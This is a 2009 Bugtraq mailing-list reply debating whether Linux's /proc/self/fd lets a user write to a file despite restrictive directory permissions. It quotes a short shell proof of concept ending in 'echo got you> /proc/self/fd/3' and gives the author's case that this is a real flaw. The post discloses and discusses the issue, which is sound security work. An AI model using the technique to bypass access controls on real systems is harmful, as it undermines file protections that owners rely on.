Bugtraq mailing list archives
Re: /proc filesystem allows bypassing directory permissions on Linux
From: Pavel Machek <pavel () ucw cz>
Date: Fri, 23 Oct 2009 23:08:22 +0200
pavel@toy:/tmp/my_priv$ chmod 700 . # relax file permissions, directory is private, so this is safe # check link count on unwritable_file. We would not want someone # to have a hard link to work around our permissions, would we? pavel@toy:/tmp/my_priv$ chmod 666 unwritable_file pavel@toy:/tmp/my_priv$ cat unwritable_file this file should never be writable pavel@toy:/tmp/my_priv$ cat unwritable_file got you # Security problem here [Please pause here for a while before reading how guest did it.]
...
# Linux correctly prevents guest from writing to that file guest@toy:/tmp/my_priv$ cat unwritable_file cat: unwritable_file: Permission denied guest@toy:/tmp/my_priv$ echo got you>&3 bash: echo: write error: Bad file descriptor # ...until we take a way around it with /proc filesystem. Oops. guest@toy:/tmp/my_priv$ echo got you> /proc/self/fd/3That can hardly be called a real security hole, since the behaviour described above is expected, and is as it was conceived by design. If the file owner in fact allows writing to it, why should Linux prevent that from happening?
No, I do not think this is expected. You could not write to that file under traditional unix, and you can not write into that file when /proc is unmounted. I do not think mounting /proc should change access control semantics. Plus, you may run traditional unix/POSIX application, expecting directory access controls to prevent the write. (Or can you see a way to write to that file when /proc is unmounted?) Pavel -- (english) http://www.livejournal.com/~pavelmachek (cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html
Current thread:
- /proc filesystem allows bypassing directory permissions on Linux Pavel Machek (Oct 23)
- Re: /proc filesystem allows bypassing directory permissions on Linux Dan Yefimov (Oct 23)
- Re: /proc filesystem allows bypassing directory permissions on Linux Pavel Machek (Oct 23)
- Re: /proc filesystem allows bypassing directory permissions on Linux Dan Yefimov (Oct 26)
- Re: /proc filesystem allows bypassing directory permissions on Linux Pavel Machek (Oct 26)
- Re: /proc filesystem allows bypassing directory permissions on Linux Dan Yefimov (Oct 26)
- Re: /proc filesystem allows bypassing directory permissions on Linux Stephen Harris (Oct 26)
- Re: /proc filesystem allows bypassing directory permissions on Linux Vincent Zweije (Oct 27)
- Re: /proc filesystem allows bypassing directory permissions on Linux Dan Yefimov (Oct 28)
- Re: /proc filesystem allows bypassing directory permissions on Linux psz (Oct 29)
- Re: /proc filesystem allows bypassing directory permissions on Linux Vincent Zweije (Oct 29)
- Re: /proc filesystem allows bypassing directory permissions on Linux Pavel Machek (Oct 29)
- Re: /proc filesystem allows bypassing directory permissions on Linux Dan Yefimov (Oct 29)
- Re: /proc filesystem allows bypassing directory permissions on Linux Pavel Machek (Oct 23)
- Re: /proc filesystem allows bypassing directory permissions on Linux Dan Yefimov (Oct 23)